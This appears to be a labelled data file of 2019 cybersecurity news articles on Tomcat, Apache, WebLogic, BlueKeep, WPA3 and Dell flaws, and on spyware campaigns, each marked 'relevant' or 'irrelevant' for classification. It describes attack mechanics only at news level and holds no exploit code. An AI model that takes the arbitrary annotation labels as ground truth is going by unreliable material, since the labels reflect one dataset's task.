"Apache Tomcat Patches Important Remote Code Execution Flaw The Apache Software Foundation (ASF) has released new versions of its Tomcat application server to address an important security vulnerability that could allow a remote attacker to execute malicious code and take control of an affected server. Developed by ASF, Apache Tomcat is an open source web server and servlet system, which uses several Java EE specifications such as Java Servlet, JavaServer Pages (JSP), Expression Language, and WebSocket to provide a ""pure Java"" HTTP web server environment for Java concept to run in. The remote code execution vulnerability (CVE-2019-0232) resides in the Common Gateway Interface (CGI) Servlet when running on Windows with enableCmdLineArguments enabled and occurs due to a bug in the way the Java Runtime Environment (JRE) passes command line arguments to Windows. Since the CGI Servlet is disabled by default and its option enableCmdLineArguments is disabled by default in Tomcat 9.0.x, the remote code execution vulnerability has been rated as important and not critical. In response to this vulnerability, the CGI Servlet enableCmdLineArguments option will now be disabled by default in all versions of Apache Tomcat. Affected Tomcat Versions Apache Tomcat 9.0.0.M1 to 9.0.17 Apache Tomcat 8.5.0 to 8.5.39 Apache Tomcat 7.0.0 to 7.0.93 Unaffected Tomcat Versions Apache Tomcat 9.0.18 and later Apache Tomcat 8.5.40 and later Apache Tomcat 7.0.94 and later Successful exploitation of this vulnerability could allow a remote attacker to execute an arbitrary command on a targeted Windows server running an affected version of Apache Tomcat, resulting in a full compromise. The vulnerability was reported to the Apache Tomcat security team by researchers from Nightwatch Cybersecurity on 3rd March 2019 and was made public on 10 April 2019 after the ASF released the updated versions. This Apache vulnerability has been addressed with the release of Tomcat version 9.0.19 (though the issue was fixed in Apache Tomcat 9.0.18, the release vote for the 9.0.18 release did not pass), version 8.5.40 and version 7.0.93. So, administrators are strongly recommended to apply the software updates as soon as possible. If you are unable to apply the patches immediately, you should ensure the CGI Servlet initialisation parameter's default enableCmdLineArguments value is set to false.",relevant
"New Apache Web Server Bug Threatens Security of Shared Web Hosts Mark J Cox, one of the founding members of the Apache Software Foundation and the OpenSSL project, today posted a tweet warning users about a recently discovered important flaw in Apache HTTP Server software. The Apache web server is one of the most popular, widely used open-source web servers in the world that powers almost 40 percent of the whole Internet. The vulnerability, identified as CVE-2019-0211, was discovered by Charles Fol, a security engineer at Ambionics Security firm, and patched by the Apache developers in the latest version 2.4.39 of its software released today. The flaw affects Apache HTTP Server versions 2.4.17 through 2.4.38 and could allow any less-privileged user to execute arbitrary code with root privileges on the targeted server. ""In Apache HTTP Server 2.4 releases 2.4.17 to 2.4.38, with MPM event, worker or prefork, code executing in less-privileged child processes or threads (including scripts executed by an in-process scripting interpreter) could execute arbitrary code with the privileges of the parent process (usually root) by manipulating the scoreboard. Non-Unix systems are not affected,"" the advisory says. Though the researcher has not yet released a working Proof-of-Concept (PoC) exploit code for this flaw, Charles today published a blog post explaining how an attacker can exploit this flaw in 4 before mentioned steps: Obtain R/W access on a worker process, Write a fake prefork_child_bucket structure in the SHM, Make all_buckets[bucket] point to the structure, Await 6:25AM to get an arbitrary function call. According to Cox, the vulnerability is more concerning for shared web hosting services, where malicious customers or a hacker with ability to execute PHP or CGI scripts on a website can make use of the flaw to gain root access on the server, eventually compromising all other websites hosted on the same server. Besides this, the latest Apache httpd 2.4.39 version also patches three low and two other important severity issues. The second important flaw (CVE-2019-0217) could allow ""a user with valid credentials to authenticate using another username, bypassing configured access control restrictions."" The third vulnerability is a mod_ssl access control bypass (CVE-2019-0215), ""a bug in mod_ssl when using per-location client certificate verification with TLSv1.3 allowed a client supporting Post-Handshake Authentication to bypass configured access control restrictions."" We have seen how previous disclosures of severe flaws in web application frameworks have resulted in PoC exploits being published within a day and exploitation in the wild, putting critical infrastructure as well as customers' data at risk. Therefore, web hosting services, organizations managing their own servers and website administrators are strongly advised to upgrade their Apache HTTP instances to the latest versions as soon as possible.",relevant
"Sophisticated 'TajMahal APT Framework' Remained Undetected for 5 Years Cybersecurity researchers yesterday unveiled the existence of a highly sophisticated spyware framework that has been in operation for at least last 5 years—but remained undetected until recently. Dubbed TajMahal by researchers at Kaspersky Lab, the APT framework is a high-tech modular-based malware toolkit that not only supports a vast number of malicious plugins for distinct espionage operations, but also comprises never-before-seen and obscure tricks. Kaspersky named the framework after Taj Mahal, one of the Seven Wonders of the World located in India, not because it found any connection between the malware and the country, but because the stolen data was transferred to the attackers' C&C server in an XML file named TajMahal. TajMahal toolkit was first discovered by security researchers late last year when hackers used it to spy on the computers of a diplomatic organization belonging to a Central Asian country whose nationality and location have not been disclosed. However, malware samples examined by the researchers suggest the cyberespionage group behind the attack has been active since at least August 2014. The TajMahal framework consists of two main packages—""Tokyo"" and ""Yokohama""—that together contain over 80 distinct malicious modules, which according to researchers, is one of the highest numbers of plugins ever seen for an APT toolset. ""It includes backdoors, loaders, orchestrators, C2 communicators, audio recorders, keyloggers, screen and webcam grabbers, documents and cryptography key stealers, and even its own file indexer for the victim's machine,"" the researchers say. Researchers have not yet figured out how TajMahal infected its targets at the first place, but they do reveal that once accessed, first stage infection Tokyo is downloaded on targeted machines, which then deliver the fully-functional second-stage malware Yokohama. tajmahal malware Yokohama stores malicious modules in its encrypted Virtual File System which allows the malware to: log keystrokes, steal browser cookies and data, including backup for Apple mobile devices, record and take screenshots of VoIP calls, steal written CD images, steal documents sent to the printer queue. Besides usual spying capabilities, the malware also includes some more unique features like requesting to steal a particular file from a previously plugged in USB stick. So, next time when the USB is connected to the infected computer, the file will be stolen. Though the researchers found only one TajMahal victim so far but given the framework's sophistication, they believe there are other victims that have yet to be discovered. ""So far we have detected a single victim based on our telemetry,"" Kaspersky said. ""This theory is reinforced by the fact that we couldn't see how one of the files in the VFS was used by the malware, opening the door to the possibility of additional versions of the malware that have yet to be detected."" Additional technical details can be found on the SecureList blog, where the researchers have also published a full set of Indicators of compromise (IOCs) and a complete list of 80 malicious modules stored in the malware with a short description describing what they do.",irrelevant
"Drupal Releases Core CMS Updates to Patch Several Vulnerabilities Drupal, the popular open-source content management system, has released security updates to address multiple ""moderately critical"" vulnerabilities in Drupal Core that could allow remote attackers to compromise the security of hundreds of thousands of websites. According to the advisories published today by the Drupal developers, all security vulnerabilities Drupal patched this month reside in third-party libraries that are included in Drupal 8.6, Drupal 8.5 or earlier and Drupal 7. One of the security flaws is a cross-site scripting (XSS) vulnerability that resides in a third-party plugin, called JQuery, the most popular JavaScript library that is being used by millions of websites and also comes pre-integrated in Drupal Core. Last week, JQuery released its latest version jQuery 3.4.0 to patch the reported vulnerability, which has not yet assigned a CVE number, that affects all prior versions of the library to that date. ""jQuery 3.4.0 includes a fix for some unintended behavior when using jQuery.extend(true, {}, ...). If an unsanitized source object contained an enumerable __proto__ property, it could extend the native Object.prototype,"" the advisory explains. ""It's possible that this vulnerability is exploitable with some Drupal modules."" The rest three security vulnerabilities reside in Symfony PHP components used by Drupal Core that could result in cross-site scripting (CVE-2019-10909), remote code execution (CVE-2019-10910) and authentication bypass (CVE-2019-1091) attacks. Considering the popularity of Drupal exploits among hackers, you are highly recommended to install the latest update of the CMS as soon as possible: If you are using Drupal 8.6, update to Drupal 8.6.15. If you are using Drupal 8.5 or earlier, update to Drupal 8.5.15. If you are using Drupal 7, update to Drupal 7.66. Almost two months ago, Drupal maintainers patched a critical RCE vulnerability in Drupal Core without releasing any technical details of the flaw that could have allowed remote attackers to hack its customers' website. But despite that, the proof-of-concept (PoC) exploit code for the vulnerability was made publicly available on the Internet just two days after the team rolled out the patched version of its software. And then, several individuals and groups of hackers started actively exploiting the flaw to install cryptocurrency miners on vulnerable Drupal websites that did not update their CMSes to the latest version. Last year, attackers also targeted hundreds of thousands of Drupal websites in mass attacks using in the wild exploits leveraging two separate critical remote code execution vulnerabilities, which were dubbed Drupalgeddon2 and Drupalgeddon3. In those case as well, the attacks started shortly after PoC exploit code for both the vulnerabilities was published on the Internet, which was then followed by large-scale Internet scanning and exploitation attempts. Long story short—Patch your websites before it gets too late.",relevant
"Encrypted Messaging Project ""Matrix"" Suffers Extensive Cyber Attack Matrix—the organization behind an open source project that offers a protocol for secure and decentralized real-time communication—has suffered a massive cyber attack after unknown attackers gained access to the servers hosting its official website and data. Hackers defaced Matrix's website, and also stole unencrypted private messages, password hashes, access tokens, as well as GPG keys the project maintainers used for signing packages. The cyber attack eventually forced the organization to shut down its entire production infrastructure for several hours and log all users out of Matrix.org. So, if you have an account with Matrix.org service and do not have backups of your encryption keys or were not using server-side encryption key backup, unfortunately, you will not be able to read your entire encrypted conversation history. Matrix is an open source end-to-end encrypted messaging protocol that allows anyone to self-host a messaging service on their own servers, powering many instant messengers, VoIP, WebRTC, bots and IoT communication. Vulnerable Jenkins Allowed Attackers to Access Server According to a press release published today by Matrix Project, unknown attackers exploited a sandbox bypass vulnerability in its production infrastructure on 4th April that was running on an outdated, vulnerable version of Jenkins automation server. The Jenkins flaw allowed attackers to steal internal SSH keys, which they used to access Matrix's production infrastructure, eventually granting them access to unencrypted content, including personal messages, password hashes, and access tokens. matrix encrypted chats Screenshot Credit: David on Twitter After being informed of the vulnerability by JaikeySarraf on 9th April, Matrix.org identified the full scope of the attack and removed the vulnerable Jenkins server as well as revoked the attacker's access from its servers on 10th April. The next day, Matrix.org also took its home server down and started rebuilding its production infrastructure from scratch, which has now been back online. Today at around 5 am UTC, the attackers behind the cyber attack also managed to repoint DNS for matrix.org to a defacement website hosted on GitHub using a Cloudflare API key, which was compromised in the attack and theoretically replaced during the rebuild. Since the latest defacement confirms that the stolen encrypted password hashes were exfiltrated from the production database, Matrix.org forced to log out all users and strongly advised them to change their passwords immediately. ""This was a difficult choice to make. We weighed the risk of some users losing access to encrypted messages against that of all users' accounts being vulnerable to hijack via the compromised access tokens,"" the company says. ""We hope you can see why we made the decision to prioritize account integrity over access to encrypted messages, but we're sorry for the inconvenience this may have caused."" The company also confirms that the GPG keys used for signing packages were also compromised, but fortunately, the attackers did not use it to release malicious versions of the software signed with the stolen keys. Matrix project assures that both keys have now been revoked. The maintainers of the project also say they will shortly start emailing all affected users to inform them about the incident and advise them to change their passwords.",irrelevant
"Karkoff' Is the New 'DNSpionage' With Selective Targeting Strategy The cybercriminal group behind the infamous DNSpionage malware campaign has been found running a new sophisticated operation that infects selected victims with a new variant of the DNSpionage malware. First uncovered in November last year, the DNSpionage attacks used compromised sites and crafted malicious documents to infect victims' computers with DNSpionage—a custom remote administrative tool that uses HTTP and DNS communication to communicate with the attacker-controlled command and control server. According to a new report published by Cisco's Talos threat research team, the group has adopted some new tactics, techniques and procedures to improve the efficacy of their operations, making their cyber attacks more targeted, organised and sophisticated in nature. Unlike previous campaigns, attackers have now started performing reconnaissance on its victims before infecting them with a new piece of malware, dubbed Karkoff, allowing them to selectively choose which targets to infect in order to remain undetected. ""We identified infrastructure overlaps in the DNSpionage and the Karkoff cases,"" the researchers say. During Reconnaissance phase, attackers gather system information related to the workstation environment, operating system, domain, and list of running processes on the victims' machine. ""The malware searches for two specific anti-virus platforms: Avira and Avast. If one of these security products is installed on the system and identified during the reconnaissance phase, a specific flag will be set, and some options from the configuration file will be ignored,"" the researchers say. Developed in .NET, Karkoff allows attackers to execute arbitrary code on compromised hosts remotely from their C&C server. Cisco Talos identified Karkoff as undocumented malware earlier this month. What's interesting is that the Karkoff malware generates a log file on the victims' systems which contains a list of all commands it has executed with a timestamp. ""This log file can be easily used to create a timeline of the command execution which can be extremely useful when responding to this type of threat,"" the researchers explain. ""With this in mind, an organisation compromised with this malware would have the opportunity to review the log file and identify the commands carried out against them."" Like the last DNSpionage campaign, the recently discovered attacks also target the Middle Eastern region, including Lebanon and the United Arab Emirates (UAE). Besides disabling macros and using reliable antivirus software, you should most importantly stay vigilant and keep yourself informed about social engineering techniques in order to reduce the risk of becoming a victim of such attacks. Due to several public reports of DNS hijacking attacks, the U.S. Department of Homeland Security (DHS) earlier this year issued an ""emergency directive"" to all federal agencies ordering IT staff to audit DNS records for their respective website domains, or other agency-managed domains.",irrelevant
"Highly Critical' Unpatched Zero-Day Flaw Discovered In Oracle WebLogic A team of cybersecurity researchers today published a post warning enterprises of an unpatched, highly critical zero-day vulnerability in Oracle WebLogic server application that some attackers might have already started exploiting in the wild. Oracle WebLogic is a scalable, Java-based multi-tier enterprise application server that allows businesses to quickly deploy new products and services on the cloud. It's popular across both, cloud environment and conventional environments. Oracle WebLogic application reportedly contains a critical deserialization remote code execution vulnerability that affects all versions of the software, which can be triggered if the ""wls9_async_response.war"" and ""wls-wsat.war"" components are enabled. The vulnerability, spotted by the researchers from KnownSec 404, allows attackers to remotely execute arbitrary commands on the affected servers just by sending a specially crafted HTTP request—without requiring any authorization. oracle weblogic server vulnerability ""Since the WAR package has a defect in deserializing the input information, the attacker can obtain the authority of the target server by sending a carefully constructed malicious HTTP request, and execute the command remotely without authorization,"" explains Chinese National Information Security Vulnerability Sharing Platform (CNVD). The researchers also shared details of the zero-day vulnerability, tracked as CNVD-C-2019-48814, with the Oracle's team, but the company has not yet released a patch. The affected Oracle WebLogic versions are as follows: WebLogic 10.X WebLogic 12.1.3 According to the ZoomEye cyberspace search engine, more than 36,000 WebLogic servers are publicly accessible on the Internet, though it's unknown how many of these have the vulnerable components enabled. A maximum number of Oracle WebLogic servers are deployed in the United States and China, with a lesser number in Iran, Germany, India, and so on. oracle weblogic server vulnerability Since Oracle releases security updates every three months and had already released a Critical Patch Update just this month, this zero-day issue is unlikely to be patched anytime soon (i.e., not before July), unless the company decides to roll out an out-of-band security update. So, until the company releases an update to patch the vulnerability, server administrators are highly recommended to prevent their systems from exploitation by changing either of the two following settings: Finding and deleting wls9_async_response.war, wls-wsat.war and restarting the Weblogic service, or Preventing access to the /_async/* and /wls-wsat/* URL paths via access policy control. Since Oracle WebLogic servers are an often target of attackers, there will be no surprise if attackers have already started exploiting this zero-day and then use vulnerable servers for their nefarious purposes.",relevant
"Scranos: New Rapidly Evolving Rootkit-Enabled Spyware Discovered A new powerful rootkit-enabled spyware operation has been discovered wherein hackers are distributing multifunctional malware disguised as cracked software or trojanized app posing as legitimate software like video players, drivers and even anti-virus products. While the rootkit malware—dubbed Scranos—which was first discovered late last year, still appears to be a work in progress, it is continuously evolving, testing new components and regularly making an improvement to old components, which makes it a significant threat. Scranos features a modular design that has already gained capabilities to steal login credentials and payment accounts from various popular services, exfiltrate browsing history and cookies, get YouTube subscribers, display ads, as well as download and execute any payload. According to a 48 page in-depth report Bitdefender shared with The Hacker News prior to its release, the malware gains persistence on infected machines by installing a digitally-signed rootkit driver. Researchers believe attackers obtained the valid digital code-signing certificate fraudulently, which was originally issued to Yun Yu Health Management Consulting (Shanghai) Co., Ltd. and has not been revoked at the time of writing. ""The rootkit registers a Shutdown callback to achieve persistence. At shutdown, the driver is written to disk, and a start-up service key is created in the Registry,"" the researchers say. Upon infection, the rootkit malware injects a downloader into a legitimate process which then communicates with the attacker-controlled Command-and-Control (C&C) server and downloads one or more payloads. Here we have listed a few data and password-stealing payloads: Password and Browsing History Stealing Payload — The main dropper steals browser cookies and login credentials from Google Chrome, Chromium, Mozilla Firefox, Opera, Microsoft Edge, Internet Explorer, Baidu Browser and Yandex. It can also steal cookies and login info from victims' accounts on Facebook, YouTube, Amazon, and Airbnb. Extension Installer Payload — This payload installs adware extensions in Chrome and injects malicious or malware-laden ads on all webpages users visit. A few samples also found installing fake browser extensions, such as Chrome Filter, Fierce-tips and PDF Maker. Steam Data Stealer Payload — This component steals and sends victims' Steam account credentials and information, including the list of installed apps and games, as well as hardcoded version, to the attacker's server. Malware Interacts with Facebook and YouTube on Victims' Behalf Some other payloads can even interact with various websites on the victim's behalf, such as: YouTube subscriber payload — This payload manipulates YouTube pages by running Chrome in debugging mode, instructing the browser to take various actions on a webpage like starting a video, muting a video, subscribing to a channel, and clicking ads. facebook hacking Facebook Spammer Payload — Using collected cookies and other tokens, attackers can command malware to send Facebook friend requests to other users. It can also send private messages to the victim's Facebook friends with links to malicious Android APKs. Android Adware App — Disguised as the legitimate ""Accurate scanning of QR code"" app available on Google Play Store, the malware app aggressively displays ads, tracks infected victims and uses same C&C server as the Windows malware. Scranos Steals Payment Information from Popular Websites Here's the list of DLLs contained in the main dropper: Facebook DLL — This DLL extracts information about the user Facebook accounts including their payment accounts, their list of friends, and if they are an administrator of a page. Amazon DLL — This DLL extracts information from the user's Amazon account. Researchers even found a version of this DLL that has been designed to extract information from logged-in Airbnb accounts. According to the telemetry gathered by Bitdefender researchers, Scranos is targeting users worldwide, but ""it seems more prevalent in India, Romania, Brazil, France, Italy, and Indonesia."" The oldest sample of this malware traced back to November 2018, with a massive spike in December and January, but in March 2019, Scranos was started pushing other strains of malware, which researchers say is ""a clear indicator that the network is now affiliated with third parties in pay-per install schemes.""",relevant
"Security Flaws in WPA3 Protocol Let Attackers Hack WiFi Password 🔥 Breaking — It has been close to just one year since the launch of next-generation Wi-Fi security standard WPA3 and researchers have unveiled several serious vulnerabilities in the wireless security protocol that could allow attackers to recover the password of the Wi-Fi network. WPA, or Wi-Fi Protected Access, is a standard designed to authenticate wireless devices using the Advanced Encryption Standard (AES) protocol and is intended to prevent hackers from eavesdropping on your wireless data. The Wi-Fi Protected Access III (WPA3) protocol was launched in an attempt to address technical shortcomings of the WPA2 protocol from the ground, which has long been considered to be insecure and found vulnerable to KRACK (Key Reinstallation Attack). Though WPA3 relies on a more secure handshake, known as Dragonfly, that aims to protect Wi-Fi networks against offline dictionary attacks, security researchers Mathy Vanhoef and Eyal Ronen found weaknesses in the early implementation of WPA3-Personal, allowing an attacker to recover WiFi passwords by abusing timing or cache-based side-channel leaks. ""Concretely, attackers can then read information that WPA3 was assumed to safely encrypt. This can be abused to steal sensitive transmitted information such as credit card numbers, passwords, chat messages, emails, and so on,"" the researchers say. Vulnerabilities in WPA3 — Hacking WiFi Password In a research paper, dubbed DragonBlood, published today, researchers detailed two types of design flaws in WPA3—first leads to downgrade attacks and second to side-channel leaks. Also Read: How to Hack WiFi Password Easily Using New Attack On WPA/WPA2. Since the 15-year-old WPA2 protocol has been widely used by billions of devices, widespread adoption of WPA3 won't happen overnight. To support old devices, WPA3 Certified devices offer a ""transitional mode of operation"" that can be configured to accept connections using both WPA3-SAE and WPA2. Researchers find that the transitional mode is vulnerable to downgrade attacks, which attackers can abuse to set up a rogue AP that only supports WPA2, forcing WPA3-supported devices to connect using insecure WPA2's 4-way handshake. ""We also discovered a downgrade attack against SAE [Simultaneous Authentication of Equals handshake, commonly known as Dragonfly] itself, where we can force a device into using a weaker elliptic curve than it normally would use,"" the researchers say. Moreover, a man-in-the-middle position is not needed to carry out downgrade attack. Instead, attackers only need to know the SSID of the WPA3- SAE network. Researchers also detail two side-channel attacks—Cache-based (CVE-2019-9494) and Timing-based (CVE-2019-9494) attacks—against Dragonfly's password encoding method that could allow attackers to perform a password partitioning attack, similar to an offline dictionary attack, to obtain Wi-Fi password. ""For our password partitioning attack, we need to record several handshakes with different MAC addresses. We can get handshakes with different MAC addresses by targeting multiple clients in the same network (e.g. convince multiple users to download the same malicious application). If we are only able to attack one client, we can set up rogue APs with the same SSID but a spoofed MAC address."" Besides these, the duo also documented a Denial of Service attack that can be launched by overloading an ""AP by initiating a large amount of handshakes with a WPA3-enabled Access Point,"" bypassing SAE's anti-clogging mechanism that is supposed to prevent DoS attacks. Some of these vulnerabilities also affect devices using the EAP-pwd (Extensible Authentication Protocol-Password) protocol, which is also based on the Dragonfly password-authenticated key exchange method. As a proof-of-concept, researchers has released following four separate tools on GitHub that can be used replicate the results in they published in the paper. Dragondrain—a tool that can test to which extend an Access Point is vulnerable to Dos attacks against WPA3's Dragonfly handshake. Dragontime—an experimental tool to perform timing attacks against the Dragonfly handshake. Dragonforce—an experimental tool that takes the information to recover from the timing attacks and performs a password partitioning attack. Dragonslayer—a tool that implements attacks against EAP-pwd. ""Don't expect to be able to use this to attack WPA3. Attacks are non-trivial in practice,"" the researcher mentioned. ""The downgrade attacks are practical for non-researchers to abuse. The EAP-pwd attacks (dragonslayer) is practical too."" ""Nearly all of our attacks are against SAE's password encoding method, i.e., against its hash-to-group and hash-to-curve algorithm. Interestingly, a simple change to this algorithm would have prevented most of our attacks,"" the researchers say. Wi-Fi Alliance Working With Vendors to Patch Reported Issues The duo reported their findings to the WiFi Alliance, the non-profit organization that certifies WiFi standards and Wi-Fi products for conformity, who acknowledged the issues and are working with vendors to patch existing WPA3-certified devices. ""The software updates do not require any changes that affect interoperability between Wi-Fi devices. Users can refer to their device vendors' websites for more information,"" the WiFi Alliance says in its press release. ""The software updates do not require any changes that affect interoperability between Wi-Fi devices. Users can expect all their Wi-Fi devices, whether patched or unpatched, to continue working well together."" You can read more information about these vulnerabilities on the DragonBlood dedicated website, and the research paper [PDF], which also explains how minor changes to the protocol could prevent most of the attacks detailed by the researchers.",relevant
"Hackers Could Turn Pre-Installed Antivirus App on Xiaomi Phones Into Malware What could be worse than this, if the software that's meant to protect your devices leave backdoors open for hackers or turn into malware? Researchers today revealed that a security app that comes pre-installed on more than 150 million devices manufactured by Xiaomi, China's biggest and world's 4th largest smartphone company, was suffering from multiple issues that could have allowed remote hackers to compromise Xiaomi smartphones. According to CheckPoint, the reported issues resided in one of the pre-installed application called, Guard Provider, a security app developed by Xiaomi that includes three different antivirus programs packed inside it, allowing users to choose between Avast, AVL, and Tencent. Since Guard Provider has been designed to offer multiple 3rd-party programs within a single app, it uses several Software Development Kits (SDKs), which according to researchers is not a great idea because data of one SDK cannot be isolated and any issue in one of them could compromise the protection provided by others. ""The hidden disadvantages in using several SDKs within the same app lie in the fact that they all share the app context and permissions,"" the security firm says. ""While minor bugs in each individual SDK can often be a standalone issue, when multiple SDKs are implemented within the same app it is likely that even more critical vulnerabilities will not be far off."" xiaomi antivirus for android It turns out that before receiving the latest patch, Guard Provider was downloading antivirus signature updates through an unsecured HTTP connection, allowing man-in-the-middle attackers sitting on open WiFi network to intercept your device's network connection and push malicious updates. ""Once connected to the same Wi-Fi network as the victim – say, in public places i.e. at restaurants, coffee shops, or malls – the attacker would be able to gain access to the phone owner's pictures, videos, and other sensitive data, or inject malware,"" CheckPoint told The Hacker News. However, the actual attack scenario is not as straightforward as it may sound. As explained by CheckPoint, researchers successfully achieved remote code execution on the targeted Xiaomi device after exploiting four separate issues in two different SDKs available in the app. The attack basically leveraged the use of unsecured HTTP connection, a path-traversal vulnerability and lack of digital signature verification while downloading and installing an antivirus update on the device. ""It is completely understandable that users would put their trust in smartphone manufacturers' preinstalled apps, especially when those apps claim to protect the phone itself,"" the firm says. Check Point reported the issues to the company and confirmed that Xiaomi has now fixed the issues in the latest version of its Guard Provider app. So, if you own a Xiaomi smartphone you should make sure your security software is up-to-date.",relevant
"Adobe Releases Critical Patches for Flash, Acrobat Reader, and Media Encoder Adobe today released its monthly software updates to patch a total of 87 security vulnerabilities in its Adobe Acrobat and Reader, Flash Player and Media Encoder, most of which could lead to arbitrary code execution attacks or worse. None of the flaws patched this month in Adobe products has been found exploited in the wild. Out of 87 total flaws, a whopping number of vulnerabilities (i.e., 84 in total) affect Adobe Acrobat and Reader applications alone, where 42 of them are critical and rest 42 are important in severity. Upon successful exploitation, all critical vulnerabilities in Adobe Acrobat and Reader software lead to arbitrary code execution, allowing attackers to take complete control over targeted systems. Adobe has released updated versions of Acrobat and Reader software for Windows and macOS operating systems to address these security vulnerabilities. The update for Adobe Flash Player, which will receive security patch updates until the end of 2020, comes this month with a patch for just one security vulnerability( CVE-2019-7837), which is critical in severity and affects Windows, macOS, Linux, and Chrome OS versions of the software. The third Adobe product that received patches this month is Media Encoder, a powerful tool that allows users to compress audio and/or video files to be played back across browsers and devices. Adobe has released Media Encoder version 13.1 that addresses two security vulnerabilities, one of which is critical (CVE-2019-7842) and leads to remote code execution while the second is an information disclosure flaw. Users of affected Adobe software for Windows, macOS, Linux, and Chrome OS are urged to update their software packages to the latest versions as soon as possible. If your system hasn't yet detected the availability of the new update automatically, you should manually install the update by choosing ""Help → Check for Updates"" in your Adobe Acrobat and Reader software.",relevant
"Nearly 1 Million Computers Still Vulnerable to ""Wormable"" BlueKeep RDP Flaw Nearly 1 million Windows systems are still unpatched and have been found vulnerable to a recently disclosed critical, wormable, remote code execution vulnerability in the Windows Remote Desktop Protocol (RDP)—two weeks after Microsoft releases the security patch. If exploited, the vulnerability could allow an attacker to easily cause havoc around the world, potentially much worse than what WannaCry and NotPetya like wormable attacks did in 2017. Dubbed BlueKeep and tracked as CVE-2019-0708, the vulnerability affects Windows 2003, XP, Windows 7, Windows Server 2008 and 2008 R2 editions and could spread automatically on unprotected systems. The vulnerability could allow an unauthenticated, remote attacker to execute arbitrary code and take control of a targeted computer just by sending specially crafted requests to the device's Remote Desktop Service (RDS) via the RDP—without requiring any interaction from a user. Describing the BlueKeep vulnerability as being Wormable that could allow malware to propagate to vulnerable systems just like WannaCry, Microsoft released a security fix to address the vulnerability with its May 2019 Patch Tuesday updates. However, the latest Internet scan performed by Robert Graham, head of offensive security research firm Errata Security, revealed that, unfortunately, roughly 950,000 publicly accessible machines on the Internet are vulnerable to the BlueKeep bug. This clearly means that even after the security patch is out, not every user and organisation has deployed it to address the issue, posing a massive risk to individuals and organizations, including industrial and healthcare environments. Graham used ""rdpscan,"" a quick scanning tool he built on top of his masscan port scanner that can scan the entire Internet for systems still vulnerable to the BlueKeep vulnerability, and found a whole 7 million systems that were listening on port 3389, of which around 1 million systems are still vulnerable. ""Hackers are likely to figure out a robust exploit in the next month or two and cause havoc with these machines,"" the researcher says. ""That means when the worm hits, it'll likely compromise those million devices. This will likely lead to an event as damaging as WannaCry, and notPetya from 2017 -- potentially worse, as hackers have since honed their skills exploiting these things for ransomware and other nastiness."" The BlueKeep vulnerability has so much potential to wreak havoc worldwide that it forced Microsoft to release patches for not only the supported Windows versions but also Windows XP, Windows Vista and Windows Server 2003, which no longer receive mainstream support from the company but are still widely used. Not just researchers, malicious hackers and cybercriminals have also started scanning the Internet for vulnerable Windows systems to target them with malware, GreyNoise Intelligence said. ""GreyNoise is observing sweeping tests for systems vulnerable to the RDP ""BlueKeep"" (CVE-2019-0708) vulnerability from several dozen hosts around the Internet. This activity has been observed from exclusively Tor exit nodes and is likely being executed by a single actor,"" the tweet says. However, fortunately, so far no security researcher has yet publicly published any proof-of-concept exploit code for BlueKeep, though a few of them have confirmed to have successfully developed a working exploit. Are you still waiting for me to tell you what you should do next? Go and fix the goddamn vulnerability if you are using one of them. If fixing the flaw in your organisation is not possible anytime sooner, then you can take these mitigations: Disable RDP services, if not required. Block port 3389 using a firewall or make it accessible only over a private VPN. Enable Network Level Authentication (NLA) – this is partial mitigation to prevent any unauthenticated attacker from exploiting this Wormable flaw.",relevant
"Pre-Installed Software Flaw Exposes Most Dell Computers to Remote Hacking If you use a Dell computer, then beware — hackers could compromise your system remotely. Bill Demirkapi, a 17-year-old independent security researcher, has discovered a critical remote code execution vulnerability in the Dell SupportAssist utility that comes pre-installed on most Dell computers. Dell SupportAssist, formerly known as Dell System Detect, checks the health of your computer system's hardware and software. The utility has been designed to interact with the Dell Support website and automatically detect Service Tag or Express Service Code of your Dell product, scan the existing device drivers and install missing or available driver updates, as well as perform hardware diagnostic tests. If you are wondering how it works, Dell SupportAssist in the background runs a web server locally on the user system, either on port 8884, 8883, 8886, or port 8885, and accepts various commands as URL parameters to perform some-predefined tasks on the computer, like collecting detailed system information or downloading a software from remote server and install it on the system. Though the local web service has been protected using the ""Access-Control-Allow-Origin"" response header and has some validations that restrict it to accept commands only from the ""dell.com"" website or its subdomains, Demirkapi explained ways to bypass these protections in a blog post published Wednesday. dell supportassist hack As shown in the video, Demirkapi demonstrated [PoC code] how remote hackers could have easily downloaded and installed malware from a remote server on affected Dell computers to take full control over them. ""An unauthenticated attacker, sharing the network access layer with the vulnerable system, can compromise the vulnerable system by tricking a victim user into downloading and executing arbitrary executables via SupportAssist client from attacker hosted sites,"" Multinational computer technology company Dell said in an advisory. The remote code execution vulnerability, identified as CVE-2019-3719, affects Dell SupportAssist Client versions prior to version 3.2.0.90. Before publishing the vulnerability details in public, the researcher responsibly reported his findings to the Dell security team, which has now released an update version of the affected software to address the issue. Besides this issue, Dell has also patched an improper origin validation (CVE-2019-3718) vulnerability in the SupportAssist software that could have allowed an unauthenticated, remote attacker to attempt CSRF attacks on users' systems. Dell users are advised to either install the updated Dell SupportAssist 3.2.0.90 or later, or simply uninstall the application altogether, if not required, before hackers try to exploit the weaknesses to take full control over their computer systems.",relevant
"DHS Orders Federal Agencies to Patch Critical Flaws Within 15 Days In recent years, we have seen how hackers prey on those too lazy or ignorant to install security patches, which, if applied on time, would have prevented some devastating cyber attacks and data breaches that happened in major organisations. The United States Department of Homeland Security (DHS) has ordered government agencies to more swiftly plug the critical security vulnerabilities found on their networks within 15 calendar days since the initial detection, a reduction from 30 days. DHS's Cybersecurity and Infrastructure Security Agency (CISA) this week issued a new Binding Operational Directive (BOD) 19-02 instructing federal agencies and departments to address ""critical"" rated vulnerabilities within 15 days and ""high"" severity flaws within 30 days of initial detection. The countdown to patch a security vulnerability will start when it was initially detected during CISA's weekly Cyber Hygiene vulnerability scanning, rather than it was the first report to the affected agencies. ""As federal agencies continue to expand their Internet presence through increased deployment of Internet-accessible systems, and operate interconnected and complex systems, it is more critical than ever for federal agencies to rapidly remediate vulnerabilities that otherwise could allow malicious actors to compromise federal networks through exploitable, externally-facing systems,"" reads the memo from CISA Director Chris Krebs. ""Recent reports from government and industry partners indicate that the average time between discovery and exploitation of a vulnerability is decreasing as today's adversaries are more skilled, persistent, and able to exploit known vulnerabilities."" Therefore, to minimize the risk of unauthorized access to any federal information internal system and reduce the overall attack surface, the CISA wants government agencies to review and remediate critical vulnerabilities on Internet-facing systems before hackers and cybercriminals exploit them. The recently created CISA agency provides regular reports to the federal agencies on Cyber Hygiene scanning results and current status, informing them of the detected vulnerabilities, classified based on their CVSSv2 score. Agencies who do not complete their remediation within the allotted time period, CISA will send an additional reminder to agencies, asking them to submit the 